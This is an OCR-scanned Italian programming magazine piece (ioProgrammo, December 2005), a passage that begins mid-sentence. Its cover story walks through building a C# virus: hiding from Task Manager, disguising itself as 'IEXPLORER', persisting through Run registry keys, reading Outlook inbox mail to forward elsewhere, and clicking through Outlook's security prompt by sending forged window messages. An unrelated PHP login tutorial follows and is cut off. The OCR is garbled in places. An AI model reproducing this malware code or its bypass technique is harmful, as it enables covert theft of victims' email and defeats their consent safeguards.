cun altro che la può comodamente leggere. 

Il programma di gestione del virus deve risulta- 
re invisibile. Non deve dunque comparire al- 
l'interno dell'elenco dei processi in esecuzione. 
La pressione del tasto CTRL+ALT+CANC che di 
solito avvia il task manager deve mostrare la li- 
sta dei programmi ma non il virus. Il virus deve 
autoawiarsi ad ogni reboot, infine deve prele- 
vare posta elettronica di outlook e inviarla ad 
un altro indirizzo. Delle tre caratteristiche, la 
prima è quella che presenta un certo numero di 
soluzioni variabili. La nostra soluzione al 
momento sarà semplice. Accenniamo breve- 
mente anche alla possibilità di intercettare le 
chiamate di sistema con un Hook per modifica- 
re la lista dei processi attivi. Ma al momento 
non adotteremo questo metodo, avremo tempo 
in puntate successive di esplorare questo uni- 
verso. 



NASCONDERSI 

IM WINDOWS 98/ME 

In sistemi Windows 9X/ME nascondere l'esi- 
stenza di un programma al task manager è re- 
lativamente semplice, essendo disponibile 



un'API studiata proprio per la gestione del task 
manager. L'API in questione esporta la funzio- 
ne di sistema: RegisterServiceProcessQ. Essa per- 
mette di simulare il comportamento di un ser- 
vizio attivo, in pratica di gestirne la "scompar- 
sa" e "ricomparsa" a comando. Il punto, ora, è 
come far uso dell'API in C#. Normalmente, 
fatto salvo per alcune funzioni di generale uti- 
lità, le API non sono tutte incorporate in fun- 
zioni C#. È necessario creare un prototipo di 
funzione, con riferimento esterno al Kernel32.dll 
(libreria che contiene tali API). Chiaramente, il 
prototipo deve corrispondere in formato alla 
funzione desiderata (Nome e Parametri}. Si trat- 
ta di una funzione documentata, il cui formato, 
dunque, è facilmente recuperabile. Richiede 
due importanti parametri: il ProcessID (l'ID che 
identifica il processo su cui vogliamo operare) e 
V OperationFlag che equivale all'operazione da 
eseguire sul processo in questione. È facile rica- 
vare l'ID del processo in corso tramite TAPI Get- 
CurrentProcessID. 

I Flags avranno, invece, rispettivamente valore 
od 1 a seconda che il processo debba essere 
visibile od invisibile. 

Per semplicità, è comodo offrire due costanti 
per i flags relativi alla visualizzazione ed all'oc- 
cultamento dei processi: 

// Flags del Register Service Process 

const int RSP_HIDE_SERVICE = 0x00000001; 

const int RSP_SHOW_SERVICE = 0x00000000; 

Per richiamare TAPI viene creato un puntatore 
ad una funzione con i medesimi parametri 
dell'API stessa. 

In pratica il Prototipo di Funzione, di cui parlava- 
mo. È presto detto: 

[DIIImport("kernel32", SetLastError=true)] 
private extern static void RegisterServiceProcess( 

int dwProcessId, int dwType); 



». 14 /Dicembre 2005 



http://www.ioprogrammo.it 



Tecniche di Hackware H T COVER STORY 



Come accennato, in C#, viene recuperata anche 
la funzione GetCurrentProcessID: 

DIIImportCkernel32.dll", SetLastError=true)] 

static extern int 
GetCurrentProcessId () 

A questo punto il seguente codice rende il pro- 
cesso invisibile: 

RegisterServiceProcess(GetCurrentProcessId(), 

RSP_HIDE_SERVICE); 

mentre quest'altro codice lo rende nuovamente 
visibile: 

RegisterServiceProcess(GetCurrentProcessID(), 

RSP_HIDE_SERVICE); 



NASCONDERSI 

IH! WINDOWS XP/NT 

In realtà non esiste, sotto questi sistemi, un ve- 
ro e proprio metodo per nascondere totalmen- 
te i processi attivi. Un metodo sarebbe quello di 
utilizzare un hook e riscrivere la lista dei pro- 
cessi. Come detto in apertura di articolo 
mostreremo un metodo più semplice. Per ren- 
dere invisibile un'applicazione sotto XP/NT è 
sufficiente non darle un nome, o meglio darle 
un "non nome", ovverosia assegnare come no- 
me dell'applicativo una stringa nulla. 
É importante ricordare che, in caso di semplice 
mancanza del codice che assegna il nome 
all'applicativo, in molti casi l'ambiente di svi- 
luppo provvedere ad assegnare al programma 
un nome "standard" (Delphi, come C#, Visual C 
e C++ Builder, sono solo alcuni degli ambienti 
di sviluppo che operano questo comportamen- 
to). 

Questo sistema, tuttavia, è individuabile, facil- 
mente, da alcuni antivirus, che segnalano i pro- 
cessi di applicativi senza nome come potenzia- 
li virus. In alternativa, più semplicemente, si 
può rendere invisibile la form principale; ciò 
farà sparire il programma relativo dalla lista 
degli applicativi. Il codice deve, chiaramente 
essere inserito nell'evento OnPaint o OnLoad 
della form: mai nell'Evento OnShow. Con C# 
rendere invisibile la Main Form non è così sem- 
plice. In teoria si potrebbe clonare la form e 
chiamare indirettamente la sua funzione 
HideQ, ma probabilmente, la tecnica più sem- 
plice sta nell'usare le seguenti righe di codice, 
che eliminando la sua visualizzazione sulla 
TaskBar e la minimizzano; così facendo, indiret- 
tamente, la impostano come invisibile ed 



impossibile da ripristinare manualmente con 
tecniche semplici: 

Main_Form.ActiveForm.ShowInTaskbar = false; 
Main_Form.ActiveForm.WindowState = 

Form WindowState. Min imized; 

Infine, come si è detto, non è possibile elimina- 
re sotto i sistemi XP/NT l'applicazione dai pro- 
cessi attivi. Ma è possibile occultarla "alla 
meglio", dando al programma un nome che si 
confonda con altri processi di sistema stan- 
dard, frequentemente ripetuti più volte nel task 
manager, come il nome: "IEXPLORER". Se, difat- 
ti, chiamassimo la nostra applicazione IEXPLO- 
RER, la eseguissimo e poi operassimo la classica 
combinazione di tasti CTRL-ALT-CANC, per pas- 
sare alla visualizzazione del Task Manager, ve- 
dremmo una serie di processi chiamati IEXPLO- 
RER (Il sistema non riconosce quelli legati al 
Browser rispetto al nostro IEXPLORER); È evi- 
dente che un'eventuale utente inesperto non 
sospetterebbe di nulla (è buona norma, invece, 
conoscere la maggior parte dei processi e pre- 
stare attenzione a quali e quanti siano quelli 
riconosciuti dal sistema). 



RIAVVIARSI 
AUTOMATICAMENTE 

Al primo avvio il virus si troverà da qualche par- 
te sull'hard disk. Molto probabilmente in alle- 
gato ad un'email. L'utente inesperto cliccando 
darà il via al processo di replica del virus, che 
dovrà autocopiarsi in qualche cartella di siste- 
ma, e poi avviarsi automaticamente ad ogni 
reboot. In genere la cartella principale di 
Windows è una buona scelta per posizionare il 
virus in questione. Nella maggior parte dei casi, 
la cartella principale di Windows coincide con 
la stringa "C:\Windows", ma esistono molte ecce- 
zioni. Per ricavare con certezza la cartella di 
Windows, in C# si fa uso della fuznione Expand- 
EnvironmentVariables passando come parametro 
la variabile WinDir. 

public String WindowsDirectory() 

{ 
return System. Environment 

.ExpandEnvironmentVariables("%WinDir%"); 

} 

Scegliendo un nome adatto per il progetto (co- 
me già detto prima Iexplorer è una soluzione fre- 
quente), viene effettuata la copia alla partenza 
del programma. Salviamo il percorso completo 
dell'applicativo viene sato nella variabile: Per- 




DISCLAIMER 

Produrre un virus è 
un'operazione 
eticamente scorretta 
oltre che illegale. Con 
questo articolo non 
incitiamo in alcun 
modo alla creazione di 
virus, al contrario vi 
esortiamo ad utilizzare 
le informazioni qui 
contenute per 
innalzare il livello di 
sicurezza dei vostri 
sistemi. 



http://www.ioprogrammo.it 



Dicembre 2005/ 15 ► 



COVER STORY T I Tecniche di Hackware 




corso_da_ Riavviare di tipo stringa che sarà usata 
come variabile globale nell'applicativo. 



Percorso_da_Riavviare 



WindowsDirectory() + 

"\\IExplorer.exe" 




MESSAGGI 
IM WINDOWS 

Esistono internet 

molte pagine dedicate 

al messagging di 

Windows, con 

numerose tabelle che 

riportano i messaggi 

possibili, divisi per 

categoria di 

componente e 

riportanti gli effetti 

sortiti, un link 

interessante è: 

http://www,gameprog.it/ 

?view=468. 



Effettuare la copia è semplice: 

String SI = Application. ExecutablePath; 
String S2 = (Percorso_da_Riavviare); 
System. IO. File. Copy(Sl,S2, true); 

A questo punto è necessario segnalare a Win- 
dows che il programma copiato deve riawiarsi 
automaticamente al reboot. Per farlo in ma- 
niera invisibile e sicura, senza destar sospetti, ci 
si appoggia al registro di sistema. La maggior 
parte dei virus in circolazione inserisce le strin- 
ghe dei percorsi degli applicativi sa eseguire in 
una delle seguenti chiavi: 

HKEY_CURRENTJJSER\Software\Microsoft\Windows 

\CurrentVersion\Run 
HKEY_CURRENT_USER\Software\Microsoft\Windows 

\CurrentVersion\RunOnce 
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows 

\CurrentVersion\Run 

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows 

\CurrentVersion\RunOnce 

Ma come si accede al registro di sistema? 
Semplice: mediante la classe RegistryKey. 
La classe RegistryKey (C#) ci permette di acce- 
dere al registro di sistema con una semplicità 
ed una trasparenza incredibili. 

RegistryKey K = Registry.CurrentUser.OpenSubKey( 

"Software\\Microsoft\\Windows\\CurrentVersion\\Run"); 
K.SetValue("IEX", Percorso_da_Riavviare); 

Adesso l'applicazione si riawierà automatica- 
mente ad ogni reboot di sistema. 



RECUPERARE LE EMAIL 
DELL'UTENTE 

Il passo successivo è quello di recuperare le e- 
mail dell'utente. Esistono molte vie per accede- 
re alla posta elettronica ed analizzarle tutte nel 
dettaglio richiederebbe molto più spazio di 
quello disponibile. Le e-mail in un computer 
possono essere memorizzate in maniera diffe- 
rente a seconda del client utilizzato (Microsoft 
Outlook, Outlook Express, Netscape, Thunder- 
bird, Eudora, etc). 

In questa sede analizzeremo Microsoft Outlook. 
Microsoft Outlook è un software appartenente 



al pacchetto Microsoft Office e gestisce, oltre 
alla posta elettronica, anche contatti, appunta- 
menti, ed altro; in pratica, accedendo ai dati di 
Outlook, è possibile arrivare addirittura a rica- 
vare informazioni sui contatti e su tutto quanto 
gestito dal client. Microsoft Outlook memorizza 
tutti i dati relativi a posta, contatti, cartelle ed 
altro in un file con estensione ".pst "presente, di 
solito, nella cartella di sistema (solitamente 
"Outlook, pst"). 

Tale file è criptato e protetto da copia, per ovvi 
motivi legati alla sicurezza; ma è, tuttavia, pos- 
sibile accedervi con opportune tecniche che 
aggirano l'ostacolo. Prima di tutto, Windows 
effettua una copia di sicurezza di tale file e la 
posiziona nella cartella "Recovery" presente 
sotto la cartella principale di Windows. Una 
prima idea sarebbe prelevare questo file e 
copiarlo in una cartella dove potrebbe essere 
decriptato con comodo. Tuttavia esiste un 
secondo metodo. È possibile scaricare una sui- 
te di librerie il cui nome è Office Partner, realiz- 
zata dalla DeVries Data Systems, poi divenuta 
Fullmoon Interactive, distribuita da Turbo Power 
ed attualmente scaricabile da SourceForge 
all'indirizzo: http://sourceforge. net/projects/tpof- 
ficepartnerl . La pecca di queste librerie è che 
sono distribuite per due soli ambienti di svilup- 
po, fornendo le funzioni di accesso ad Office 
solo ai linguaggi Borland Delphi e Borlnd 
C++Builder. 

Alternativamente, si potrebbe accedere, diret- 
tamente, ai dati di Outlook, mediante le stesse 
funzioni fornite da Microsoft. 
Microsoft fornisce una serie di DLL", mediante 
le quali è, facilmente, possibile accedere a dati 
e funzioni del suo pacchetto software da ufficio. 
Le librerie sono scaricabili dal sito Microsoft al 
link: http:llsupport.microsoft. comlde- 

fault.aspxlkb 1328912?. A partire dalla pagina a 
cui si accede, infatti, vengono forniti diversi 
files che hanno la funzione di assembly di inte- 
roperabilità primarie PIAs (Pio) che, pratica- 
mente, non sono altro che le librerie, i tipi e le 
funzioni ufficiali che sono maggiormente uti- 
lizzate sotto Microsoft Office XP. Le librerie con- 
tenute nel pacchetto sono parecchie, in parti- 
colare, un file che può essere sfruttato è Micro- 
soft. Office. Interop. Outlook . ali. 
È ovvio che questa dll vada poi inglobata nel 
pacchetto HackWare (sulle modalità di infezio- 
ne di una macchina e sulle tecniche per instal- 
lare in maniera invisibile il nostro HackWare ci 
soffermeremo in futuri articoli). Per ora lo 
scopo è la realizzazione, e dunque limitiamoci a 
vedere come inglobare queste librerie nel 
nostro applicativo. 
Mediante C#, una volta copiate e registrate nel 



► 16 /Dicembre 2005 



http://www.ioprogrammo.it 



Tecniche di Hackware H T COVER STORY 



sistema, le librerie devono essere indicate tra i 
references del progetto C#. Con il tasto destro 
del mouse è necessario cliccare sulla voce Refe- 
rences: si ottiene un menù a tendina con due 
voci, rispettivamente: Add reference edAdd WEB 
reference: è necessario selezionare la prima. 
Ora, se le librerie sono già registrate nelle chia- 
vi di registro, sarà sufficiente spostarsi sulla lin- 
guetta COM della finestra che compare e sele- 
zionare la classe cercata. In alternativa (per 
maggiore portabilità del programma) è possibi- 
leincludere la dll in questione selezionandola 
grazie al tasto "Browse. . . " (magari, in questo 
caso posizionandone una copia proprio in una 
cartella con l'applicativo). 
A questo punto abbiamo a disposizione le libre- 
rie con le funzioni basate sugli oggetti COM che 
la Microsoft offre per la programmazione di 
Office (ed in particolar modo di Outlook). 
Innanzitutto è necessario includere le librerie 
che ci saranno utili: 

using Microsoft. Office. Core; 

using Microsoft. Off ice. Interop. Outlook; 

In primo luogo, per interagire con dati e funzio- 
ni di un'applicazione del pacchetto Office, è ne- 
cessario creare una istanza di applicazione di 
quel tipo, cioè se vogliamo interagire con dati e 
funzioni di Microsoft Outlook, dobbiamo crea- 
re una istanza di tipo "Applicazione Outlook". 
In codice il tutto si traduce in: 

Microsoft. Office. Interop. Outlook. Application olApp= 

new Microsoft. Off ice. Interop. Outlook 
.ApplicationClass(); 

Poi serve un oggetto di tipo Folder: 

Microsoft. Office. Interop. Outlook. MAPIFolder mfd; 

Come si può facilmente immaginare mdf rap- 
presenta la cartella di Outlook a cui si vuole ac- 
cedere. Dunque, associamo alla variabile mfd la 
cartella della "Posta in arrivo " (InBox) . 

mfd=olApp.GetNamespace("MAPI").GetDefaultFolder( 
Microsoft. Office. Interop. Outlook. 01 DefaultFolders 

.olFolderlnbox); 
MAPIFolder inboxFolder = olApp.GetNamespace( 

"MAPI").GetDefaultFolder( 
OIDefaultFolders. olFolderlnbox); 

Adesso possiamo estrapolare le informazioni 
come ad esempio quante e-mail sono presenti 
nel sistema, ottenibile mediante il metodo: 

inboxFolder. Items.Count; 



Oppure, potremmo estrapolare ogni singola e- 
mail, con un semplice ciclo: 

String Testo, Indirizzo, Soggetto; 
foreach(object obj in inboxFolder.Items) 

{ 

Mailltem item = obj as Mailltem; 



String S; 



if(item != nuli) 



{ 



Indirizzo = item.SenderName; 



Soggetto = item.Subject; 



Testo = item. Body; 



// Qui poi va inserito il codice che spedisce 
// questa e-mail altrove, magari da noi... 



} 



Come indicato nel commento, ora non rimar- 
rebbe (teoricamente) che aggiungere il codice 
necessario ad inviare una e-mail con i dati rac- 
colti, nel ciclo. 

In pratica basterebbe (sempre in linea teorica) 
inoltrare ciascuna e-mail recuperata al nostro 
indirizzo di posta, mediante funzioni proprie di 
C#. 

Il codice per la spedizione di una e-mail in C# è 
estremamente semplice e non necessita di 
spiegazioni particolari (quasi esula dalle argo- 
mentazioni dell'articolo). 
In ogni caso, schematicamente è così riassumi- 
bile: 

// create mail message object 
MailMessage mail = new MailMessageQ; 



mail.From = 



// put the from address here 



mail.To 



// put to address here 



mail.Subject 



// put subject here 



mail. Body 



// put body of email here 



SmtpMail.SmtpServer 



// put smtp server you 

will use here 



// and then send the mail 



SmtpMail.Send(mail); 

Possibile, però che Microsoft non abbia pensa- 
to ai possibili utilizzi scorretti delle librerie for- 
nite? 

Questo dubbio porta a questioni che rendono il 
codice precedente ad essere limitato da un pro- 
blema di tipo pratico. Microsoft ha previsto l'e- 
venienza che qualcuno potesse far uso delle 
proprie librerie in maniera poco opportuna, ed 
ha realizzato un sistema di "allarme" in grado 
di scattare all'atto del tentativo del nostro 
software di accedere ai dati in questione, causa 
la comparsa di una finestra che avvisa l'utente 
che un programma estraneo sta tentando un 
acceso non autorizzato ai dati e chiede con- 




L'API REGISTER 
SERVICE 

In alcuni linguaggi, 
come ad esempio 
Borland Delphi, 
GetCurrentProcessID è 
già presente tra le 
funzioni di libreria, 
mentre in altri, quali 
ad esempio C#, Visual 
Basic, ecc., è da 
estrapolare la modulo 
Kernel32.dll come 
RegisterServìceProcess 
()■ 



http://www.ioprogrammo.it 



Dicembre 2005/ 17 ► 



COVER STORY T I Tecniche di Hackware 




ferma su se permettere o meno al nostro 
software di proseguire l'azione. 
Se l'utente fosse al corrente della presenza del 
software e decidesse di concedere di poter pro- 
seguire nell'azione, chiaramente non ci sarebbe 
alcun problema. L'allarme di Microsoft, infatti, 
blocca l'esecuzione del programma che tenta 
l'accesso ai dati, avvisa l'utente mediante la 
dialog e rimane in attesa di istruzioni sul da 
farsi. 

Ovviamente non possiamo sperare di avere il 
consenso dall'ignara vittima del nostro Hack- 
Ware e, dunque, dobbiamo aggirare l'ostacolo. 
Qualsiasi applicativo che giri sotto Windows, 
non opera disegnando le form personalmente, 
ma incarica il sistema operativo di assisterlo in 
questa ed altre operazione. 
In realtà, dal disegno delle schermate, alla ge- 
stione dell'input (e cosi via), il tutto è assegnato 
alla gestione dei messaggi di Windows. In prati- 
ca qualsiasi applicazione Windows è, in realtà, 
un insieme condizionato di messaggi tra il soft- 
ware stesso e il sistema operativo. Quando 
viene visualizzata una finestra o quando viene 
cliccato un tasto, un insieme di messaggi av- 
visano l'applicazione e Windows dell'accaduto 
e del da farsi. 

A seguito di tali messaggi Windows ed il pro- 
gramma agiscono di conseguenza. 
In generale, un programma Windows non è che 
una gestione coordinata di messaggi. Tutto il si- 
stema Windows funziona su questa struttura. In 
definitiva se fosse possibile simulare, mediante 
messaggi, l'accettazione dell'accesso da parte 
dell'utente, la selezione del tempo di accesso 
concesso e della pressione del tasto di confer- 
ma, il virus avrebbe ottenuto il risultato voluto. 
In pratica si farà credere a Windows che un 
utente (che sarebbe simulato, in realtà, dal 
virus) accetti l'invasione, selezioni la checkbox 
e scelga nella combobox il tempo massimo di 
concessione, dopodiché clicchi il tasto "Si" o 
"Yes". Per far questo, dobbiamo individuare gli 
handle (puntatori) alle finestre ed ai compo- 
nenti Windows. Dopodiché saranno usate 
apposite funzioni che inoltrano, e permettono 
di ricevere, messaggi a, e da, finestre e compo- 
nenti, con come parametri l'Handle e l'even- 
tuale messaggio. 

Per la gestione dei messaggi esistono le funzio- 
ni FindWindow, FindWindowEx, SendMessage 
e PostMessage. Si tratta di API di sistema. Inclu- 
derle nell'ambiente di sviluppo è relativamente 
semplice: 

[DIIImport("user32.dll")] 

public static extern int FindWindow ( string 

IpCIassName, string IpWindowName); 



[DIIImport("user32.dll", SetLastError = true)] 
public static extern IntPtr FindWindowEx(IntPtr 

parentHandle, IntPtr childAfter, string className, 
IntPtr windowTitle); 

[DIIImport("user32.dll")] 

public static extern int SendMessage( int hWnd, uint 
Msg, int wParam, int IParam); 

[DIIImport("user32.dll", SetLastError = true)] 
public static IntPtr PostMessage(IntPtr hWnd,int 

msg, IntPtr wParam, IntPtr IParam); 

FindWindow é una funzione che permette di in- 
dividuare una finestra (od un componente, ve- 
dendolo come una finestra), presente sul video 
ed attiva, conoscendone (rispettivamente) la 
tipologia di componente (o classe) od il nome 
(inteso come il nome di Istanza usato). È suffi- 
ciente specificare uno solo dei due parametri, 
per ottenere un risultato, qualora ci sia a video 
almeno un componente con i dati indicati. Se 
trova il componente cercato ne restituisce 
l'Handle. FindWindowEx, è simile a. FindWindow. 
La sua funzione è quella di individuare un com- 
ponente, interno ad un altro di cui si conosce 
l'Handle (che viene passato come primo para- 
metro), e di cui si conosce il ClassName (nome 
della tipologia o classe) od il testo contenuto 
(qualora come componente sia previsto un 
testo in esso). Anche FindWindowEx restituisce, 
l'eventuale Handle trovato del componente. 
SendMessage e PostMessage, hanno la più sempli- 
ce funzione di mandare messaggi ad un com- 
ponente il cui Handle viene passato come 
primo parametro. Il messaggio è, in genere, un 
valore intero. Eventualmente possono restituire 
un valore intero che ha un significato in termi- 
ni di messaggio di risposta. Gli Handle possono 
essere memorizzati all'interno di puntatori a 
valori interi. 



IntPtr Handle_ 


_Window = IntPtr.Zero; 


IntPtr Handle_ 


_Button_Si = IntPtr.Zero; 


IntPtr Handle_ 


_Check = IntPtr.Zero; 


IntPtr Handle_ 


_Combo = IntPtr.Zero; 



Non conoscendo il nome con il quale Microsoft 
ha identificato, in tempo di programmazione, 
la finestra dialog di allarme, ricerchiamo la 
finestra a video con impressa nella caption bar 
la voce "Microsoft Office Outlook" 

Handle_Window = FìndWindow("", "Microsoft Office 

Outlook"); 

questa voce è identica a quella presente nella 



»> 18 /Dicembre 2005 



http://www.ioprogrammo.it 



Tecniche di Hackware H T COVER STORY 



finestra di Microsoft Outlook. Ottenuto l'hand- 
le della finestra, dobbiamo trovare quella del 
tasto di conferma (Si o Yes a seconda della 
nazionalità della lingua del sistema operativo, 
considerando solo quella italiana ed inglese- 
americana; e sottolineata o meno a seconda 
della versione). La tipologia di componente è 
sempre Button e l'handle della finestra conte- 
nente il tasto lo abbiamo poco fa ricavato e 
memorizzato in Handle Window. 



Handle_Button_Sr 



FindWindowEx(Handle_Window, 
0, "Button", "Sì"); 



if (Handle_Button_Si ==0) 



Handle_Button_Si = 



FindWindowEx(Handle_Window, 
0, "Button", "&SÌ"); 



if (Handle_Button_Si ==0) 



Handle_Button_Si = 



FindWindowEx(Handle_Window, 
0, "Button", "Si"); 



if (Handle_Button_Si ==0) 



Handle_Button_Si = 



FindWindowEx(Handle_Window, 
0, "Button", "&Si"); 



if (Handle_Button_Si ==0) 



Handle_Button_Si = 



FindWindowEx(Handle_Window, 
0, "Button", "Yes"); 



if (Handle_Button_Si=0) 



Handle_Button_Si = 



FindWindowEx(Handle_Window, 
0, "Button", "&Yes"); 



Utilizziamo una serie di verifiche, per control- 
lare che sia stato individuato l'handle del com- 
ponente, ed in caso negativo riproviamo con 
un'altra versione di testo contenuto. 
Il checkbox, che permette di attivare la combo- 
box contenente il tempo da concedere, è a livel- 
lo di sistema un particolare bottone (con meto- 
do Paint rivisitato), quindi per indivisuarlo sarà 
necessario indicare il tipo di componente come 
un "Button"; anche qui cercheremo i vari tipi di 
testo possibili: 

Handle_Check = FindWindowEx(Handle_Window, 0, 
"Button", "&Allow access for"); 

if (Handle_Check= = 0) 

Handle_Check = FindWindowEx(Handle_Window, 0, 
"Button", "Allow access for"); 



if (Handle_Check= = 0) 



Handle_Check = FindWindowEx(Handle_Window, 0, 
"Button", "&Consenti accesso per"); 



if (Handle_Check= = 0) 



Handle_Check = FindWindowEx(Handle_Window, 0, 
"Button", "Consenti accesso per"); 

Infine ci serve di individuare la ComboBox. 
Essendocene una sola, on è necessario specifi- 



care il testo contenuto, ma soltanto ta ticologia 

(o classe). 

Handle_Combo = FindWindowEx(Handle_Window, 0, 

"ComboBox", Nil); 

Adesso non rimane che mandare (e ricevere) i 
giusti messaggi. 

public const int BM_SETCHECK= 0x 0F1; 

// X Selezionare I chackbox 
public const int CB_GETCOUNT = 0x146; 

// X contare gli items in una combo 
public const int CB_SETCURSEL = 0xl4E; 

// per selezionare un item in una combo 
public const int BM_CLICK = 0xF5; 

// per cliccare un bottore 

Selezioniamo il checkbox 

SendMessage(Handle_Check, BM_SETCHECK, 1, 0); 

Otteniamo il numero di items della combo 

Numero_Items_Combo: = SendMessage( 

Handle_Combo, CB_GETCOUNT, 0, 0); 

impostiamo al massimo valore possibile l'item 
selezionato della combo (così da avere limassi- 
mo del tempo possibile per l'accesso) 

SendMessage(Handle_Combo, CB_SETCURSEL, 

Numero_Items_Combo - 1, 0); 
PostMessage(Handle_Button_Si, BM_CLICK, 0, 0); 

Questo codice può essere inserito in un timer 
ed essere effettuato con regolarità, occupa 
pochi secondi e qual'ora la dialog di allarme 
compaia non farebbe in tempo ad avvisare l'u- 
tente del problema, tanto veloce sarebbe la sua 
scomparsa. Il lavoro si può dire ultimato. Come 
si è visto, l'hacking non è una conoscenza asso- 
luta, ma l'insieme di più conoscenze approfon- 
dite, spesso in aree differenti dell'informatica, 
che vengono integrate per porre soluzione a 
problematiche non standard. Il cattivo utilizzo 
di queste conoscenze può dar luogo alla com- 
parsa di virus informatici, ma se, invece, sup- 
portato da un'etica morale, può essere, anche, 
mezzo di preparazione per valide figure profes- 
sionali nel campo dell'ingegneria e del software 
problem solving. 

Approfondiremo, nelle prossime lezioni argo- 
menti quali, le possibilità di infezione delle 
macchine Windows ed Unix, le backdoor, e 
molte altre curiosità legate a questo misterioso 
mondo. 

Maurizio Postiglione 




http://www.ioprogrammo.it 



Dicembre 2005/ 19 »> 



IOPROGRAMMO WEB ▼ ■ Autenticazione con PHP 



Login? Si grazie, 
gestiamolo da PHP 

Se state sviluppando un sito che ha un minimo di interazione 
con l'utente, è molto probabile che vi troverete a dovere scrivere 
il codice che ne gestisce l'accesso alle aree protette. Ecco come... 




n 




REQUISITI 



ezsssesee 

rnl Basi di PHP 




^31^3^31^3 



Tempo di realizzazione 



Molti di voi si saranno trovati a fare i conti 
con la gestione dell'autenticazione con 
pagine PHP. Nella maggior parte dei 
casi, gestire una sessione di autenticazione com- 
porta la creazione di un database, la gestione della 
sessione, e ovviamente del codice che autentifica 
l'utente con i dati immessi nel database a fronte 
di certe credenziali. 

Non sembrerebbe niente di estremamente com- 
plicato e in effetti potrebbe non esserlo, se non 
fosse che in alcuni casi l'autenticazione potrebbe 
avvenire per confronto con un db di password 
inserito in un file, oppure con un db non mysql, 
oppure addirittura nei confronti di un server 
POP3 che detiene le password degli account 
email. 

In ogni caso, la nostra parola d'ordine è il riutiliz- 
zo. Perché scrivere da zero il proprio codice quan- 
do qualcuno ha già fatto per noi la maggioranza 
del lavoro? Anche in questo articolo ci occupere- 
mo di una delle tanti classi Pear messe a disposi- 
zione dal PHP Group, e in particolare parleremo 
proprio della classe Auth che consente di gestire 
l'autenticazione in modo estremamente semplice 
e veloce. 



INSTALLAZIONE 
DELLA CLASSE AUTH 

I più costanti fra i lettori di ioProgrammo, sapran- 
no già che con Pear si intende un repository di 
classi scritte in PHP dal PHP Group e rese dispo- 
nibili come estensioni del linguaggio per chiun- 
que ne voglia fare uso. Allo stesso modo è abba- 
stanza noto che in PHP esistono comandi sempli- 
ficati per la gestione delle classi Pear. In particola- 
re per installare la classe Auth, sarà sufficiente 
digitare da una console: 

pear instali Auth 



In ambienti Unix solitamente il comando Pear è 
già mappato nel Path, in ambienti Windows 
potrebbe essere necessario andare a cercare il 
comando in questione nella sottodirectory di 
installazione di PHP 

Questo comando si occupa di scaricare da inter- 
net i file necessari all'installazione della classe e 
posizionarli nelle directory opportune. Una volta 
fatto questo, per utilizzare la classe in questione è 
sufficiente includerla nel file PHP in cui abbiamo 
intenzione di farne uso. 

Noi inizieremo con il creare una directory config 
sotto la radice dell'applicazione Web che stiamo 
sviluppando. All'interno della directory config 
creeremo un file config.inc.php, che contiene le 
seguenti linee: 



require_once "Auth.php"; 
$params = array("dsn" = > "mysql: 

//ioPuser:ioPpasswd@localhost/ioPlogin" 



"table" => "auth" 



"usernamecol" => "username" 



"passwordcol" 



"password"); 



$a = new Auth("DB", $params, "loginFunction"); 



$a->start(); 



?> 



Il file index.php sarà contenuto invece nella root 
della nostra applicazione e conterrà le seguenti 
linee: 



<? 


require_once "config/config.inc.php"; 


if($_ 


GET['action'] = = 


"logouf 


&& $a- 


>checkAuth()) { 


$a 


->logout(); 








$a 


->start(); 








} 


if ($a 


->getAuth()) { 









»> 22 /Dicembre 2005 



http://www.ioprogrammo.it 



Autenticazione con PHP ■ T IOPROGRAMMO WEB 





echo 


"So 


o gli 


utenti 


registrati possono 


accedere 
qui<br>"; 




echo 


'<a 


href 


=index 


php?actìon = 




logout>Logout</a>'; 


} 


?> 



DENTRO IL CODICE 

Cerchiamo di capire cosa è successo nelle righe 
precedenti. 

Nel file conflg.inc.php, abbiamo prima di tutto in- 
cluso la classe Auth del package Pear. La riga che 
assolve a questa funzione è: 

require_once "Auth.php"; 

Ci siamo poi preoccupati di instanziare un ogget- 
to di classe Auth che utilizzeremo all'interno del 
nostro progetto e conterrà tutti i metodi per gesti- 
re l'autenticazione. Il costruttore della classe Auth 
risponde alla sintassi: 

Auth:: Auth (mixed^storageDriver = "DB", mixed 



$orjtions = "", strìng $loginFunction = "" 
[, boolean $showLogin = TRUE]) 



L 



Lo 1-iMM-JiìiyàiHiii rappresenta il "contenitore" di 



username e password che devono essere confron- 
tate con le credenziali di autenticazione. 
Nel nostro caso abbiamo utilizzato uno Storage di 
tipo Db, in realtà la classe Pear supporta: 

Database 

File 

SMBPasswd 

IMAP 

LDAP 

POP3 

RADIUS 

SOAP 

VpopMail 



e infine un "Custom Container", cioè un driver vir- 
tuale la cui implementazione è lasciata al pro- 
grammatore in caso di Storage non previsti fra 
quelli attualmente supportati. 
*— \9 Yi)ìtilM è tipicamente un array che contiene le 
opzioni da passare al Driver dello Storage. 
Nel nostro caso: 

$params = array("dsn"=> "mysql: 

//ioPuser:ioPpasswd@localhost/ioPlogin", 
"table" => "auth", 
"usernamecol" => "username", 
"passwordcol" => "password" 



); 



Abbiamo passato una DSN con i dati identificati- 
vi della connessione al database che contiene 
username e password, la tabella che contiene i 
dati in questione, e infine le due colonne che con- 
tengono le credenziali di autenticazione. 
La [M=MES?BTS?!?iffl è una stringa che identifica una 
funzione che stampa la form di autenticazione a 
schermo. Nel nostro caso non abbiamo effettuato 
un owerride di questa funzione, perciò a schermo 
ci verrà mostrata la form standard implementata 
in Auth. 

ShowLogin è un valore booleano. Se settato a false 
la form di registrazione non sarà visualizzata. Si 
tratta di un valore opzionale che può essere utiliz- 
zato in certi casi se per esempio non si intende 
mostrare la form di autenticazione in certe pagi- 
ne. 

Per quanto concerne il costruttore tutto dunque 
sembra essere chiaro, abbiamo instanziato l'ogge- 
to con la riga: 

$a = new Auth("DB", $params, "loginFunction"); 



Il metodo Start, richiamato alla riga: 



$a->start(); 



Avvia il processo di autenticazione. Abbiamo pre- 
ferito avviare questo processo nel file config.inc 
.php perché in questo modo l'oggetto Sa viene 
condiviso globalmente fra tutte le pagine che 
compongono l'applicazione e potremo muoverci 
fra le pagine mantenendo invariato il processo di 
autenticazione. 



PROTEGGERE LE PAGINE 

Index.php costituisce la prima pagina da proteg- 
gere. Prima di tutto abbiamo inserito conf- 
ig.inc. php dove avevamo instanziato l'oggetto Sa 
e fatto partire il processo di autenticazione. 
In index.php non ci resta che controllare se l'u- 
tente si è loggato o meno. Lo facciamo con le 
righe: 



if ($a->gètAuth()) { 
